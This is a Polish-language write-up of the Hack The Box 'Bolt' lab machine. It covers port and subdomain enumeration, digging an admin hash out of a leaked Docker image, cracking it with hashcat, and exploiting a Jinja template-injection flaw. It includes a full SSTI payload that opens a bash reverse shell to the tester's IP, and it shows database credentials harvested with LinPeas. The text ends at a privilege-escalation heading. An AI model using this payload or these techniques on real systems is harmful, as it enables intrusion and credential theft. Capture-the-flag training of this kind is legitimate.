Bolt - 18.02.2022


NMap

┌─[eu-free-3][10.10.15.13][parrot@parrot][~/htb/bolt]
└──╼ []$ sudo nmap -sC -sV -p 22,80,443 10.10.11.114
[sudo] password for parrot: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-18 16:43 CET
Nmap scan report for passbolt.bolt.htb (10.10.11.114)
Host is up (0.061s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

GoBuster - subdomeny

┌─[eu-free-3][10.10.15.13][parrot@parrot][~/htb/bolt]
└──╼ []$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://bolt.htb                                                               
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://bolt.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/02/19 18:19:18 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219] 
                                               
===============================================================
2022/02/19 18:19:55 Finished
===============================================================

Zatem dodaję do /etc/hosts wpis 10.10.11.114 passbolt.bolt.htb bolt.htb demo.bolt.htb mail.bolt.htb.


Nikto



Strona główna


Port 443

Mamy logowanie

mail.bolt.htb

demo.bolt.htb

Co ciekawe z obu stron (bolt.htb, passbolt.bolt.htb) można pobrać obraz Dockera image.tar. Sprawdziłem oba pobrane obrazy md5sum. Są takie same.

Zawartość archiwum:

┌─[eu-free-3][10.10.15.13][parrot@parrot][~/htb/bolt]
└──╼ []$ ls -al
total 12
drwxr-xr-x 1 parrot parrot 1610 lut 19 19:22 .
drwxr-xr-x 1 parrot parrot 1008 lut 19 19:22 ..
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
-rw-r--r-- 1 parrot parrot 3797 mar  5  2021 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
drwxr-xr-x 1 parrot parrot   40 mar  5  2021 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
-rw-r--r-- 1 parrot parrot 1002 sty  1  1970 manifest.json
-rw-r--r-- 1 parrot parrot  119 sty  1  1970 repositories
drwxr-xr-x 1 root   root     10 lut 18 12:41 results

Przejrzałem kilka tych folderów, każdy zawiera kolejny plik layer.tar. Zatem postanowiłem rozpakować też te wszystkie archiwa. Wykorzystałem polecenie

find . -type f -iname "*.tar" -print0 -execdir tar xf {} \; -delete

Teraz pierwszy folder wygląda tak

Ponieważ jest tego sporo, postanowiłem spróbować poszukać czegoś grepem.

No tylko tutaj grep niestety nie daje rady, za dużo jest tych podfolderów i za długo to trwa. Postanowiłem ograniczyć szukanie do 2 podfolderów i szukać jakichś maili, ponieważ mamy kilka formularzów do logowania z mailem.

┌─[eu-free-3][10.10.15.13][parrot@parrot][~/htb/bolt/image]
└──╼ []$ find . -maxdepth 2 -exec grep -as '@bolt.htb' {} \;
    DEFAULT_MAIL_SENDER = 'support@bolt.htb'
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.ex_User_1User
) admin@bolt.htb

Dodałem opcje -H do grep, dzięki czemu widzę dokładnie, w którym pliku znalezioną daną frazę

┌─[eu-free-3][10.10.15.13][parrot@parrot][~/htb/bolt/image]
└──╼ []$ find . -maxdepth 2 -exec grep -Has '@bolt.htb' {} \;
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/config.py:    DEFAULT_MAIL_SENDER = 'support@bolt.htb'
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.27af2976f2/db.sqlite3:)';indexsqlite_autoindex_User_2User';indexsqlite_autoindex_User_1User
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3:) admin@bolt.htb

Potencjalnie ciekawe dane

./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/config.py

# Set up the App SECRET_KEY                                                                                                                               
    SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')                                                                                              
                                                                                                                                                              
    # This will create a file in <app> FOLDER                                                                                                                 
    SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')                                                                              
    SQLALCHEMY_TRACK_MODIFICATIONS = False                                                                                                                    
    MAIL_SERVER = 'localhost'                                                                                                                                 
    MAIL_PORT = 25                                                                                                                                            
    MAIL_USE_TLS = False                                                                                                                                      
    MAIL_USE_SSL = False                                                                                                                                      
    MAIL_USERNAME = None                                                                                                                                      
    MAIL_PASSWORD = None
    DEFAULT_MAIL_SENDER = 'support@bolt.htb'


	
# PostgreSQL database
    SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
        config( 'DB_ENGINE'   , default='postgresql'    ),
        config( 'DB_USERNAME' , default='appseed'       ),
        config( 'DB_PASS'     , default='pass'          ),
        config( 'DB_HOST'     , default='localhost'     ),
        config( 'DB_PORT'     , default=5432            ),
        config( 'DB_NAME'     , default='appseed-flask' )
    )

./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3

k9tableUserUserCREATE TABLE "User" (
        id INTEGER NOT NULL, 
        username VARCHAR, 
        email VARCHAR, 
        password BLOB, 
        email_confirmed BOOLEAN, 
        profile_update VARCHAR(80), 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email)
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.ex_User_1User
        admin
)       admin@bolt.htb

Mamy hash $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q., sprawdziłem i jest to md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5).

Odpaliłem hashcata i po chwili otrzymałem złamane hasło

hashcat -a 0 -m 500 admin.hash /usr/share/wordlists/rockyou.txt

$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt

admin:deadbolt

Hasło zadziałało na subdomene bolt.htb.

Natomiast nic ciekawego tutaj nie znalazłem. Postanowiłem poszukać jeszcze na pozostałych subdomenach. Na mail.bolt.htb na te dane logowania, odpowiedź jest nieco inna niż przy niepoprawnych danych.

Otrzymujemy taką odpowiedź

Normalnie, przy losowych danych komunikat to po prostu Login failed.

Spróbowałem czegoś z BurpSuite, ale okazało się to błędnym tropem


Ponowne wypakowanie

Absolutnie utkwiłem w tym miejscu. Sprawdziłem metodologie IppSeca. Okazało się, rozwiązania trzeba szukać w rejestracji użytkowników i polu Invite code . Tylko że po części błędnie wypakowałem pliki layer.tar i należy to poprawić.

cat manifest.json | jq .[].Layers > ../layers


[
  "187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar",
  "745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar",
  "41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar",
  "d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar",
  "3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar",
  "9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar",
  "1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar",
  "a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar",
  "3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar",
  "2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar",
  "3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar"
]

Należy teraz to oczyścić. I zrobię to tak jak IppSec, po kolei rozpakuje kolejne tary do output.

mkdir output
cd output
for i in $(cat layers); do tar -C output -xvf $i; done

W ten sposób otrzymujemy składny system plików. Warto spojrzeć na nietypowy folder app.

W folderze app mamy rozgałęzienie na home oraz base. Foldery różnią się od siebie. Mianowicie w podfolderze base znajdziemy informacje o rejestracji użytkowników.

Wykorzystując mój stary skrypt z wypakowaniem każdego layer.tar w danym folderze możemy znaleźć dodatkowy plik

No i w pliku ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py mamy dodatkową treść, której wcześniej nie widzieliśmy.

code = XNSS-HSJW-3NGU-8XTJ


Nowy użytkownik

Stworzyłem nowego użytkownika. Udało mi się zalogować tymi danymi logowania nie tylko na demo.bolt.htb, ale również na mail.bolt.htb. Podatny okazuje sie ten formularz

Gdy wpisałem losowe rzeczy, na subdomene z mailem przyszła wiadomość

Jak się okazuje, jest to podatność SSTI, ktorą można wykorzystać.

To jest akurat ciekawe, ponieważ całkowicie pominąłem nazwę Jinja w tytule stron

A to potencjalnie też ważna informacja.

Na PayloadAllTheThings można znaleźć najważniejsze informacje jak wykorzystać tą podatność.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.15.13/8000 0>&1').read() }}


www-data

Mamy na boxie dwóch użytkowników clark oraz eddie.

LinPeas

╔══════════╣ Analyzing Passbolt Files (limit 70)                                                                                                              
-rw-r----- 1 root www-data 3128 Feb 25  2021 /etc/passbolt/passbolt.php                                                                                       
 * Passbolt ~ Open source password manager for teams                                                                                                          
            'host' => 'localhost',                                                                                                                            
            'port' => '3306',                                                                                                                                 
            'username' => 'passbolt',                                                                                                                         
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',                                                                                                             
            'database' => 'passboltdb',                                                                                                                       
    'EmailTransport' => [                                                                                                                                     
            'host' => 'localhost',                                                                                                                            
            'port' => 587,                                                                                                                                    
            'username' => null,                                                                                                                               
            'password' => null,                                                                                                                               
            'from' => ['localhost@bolt.htb' => 'localhost'],

passbolt:rT2;jW7<eY8!dX8}pQ8%

mysql -u passbolt -p passboltdb


Privilege Escalation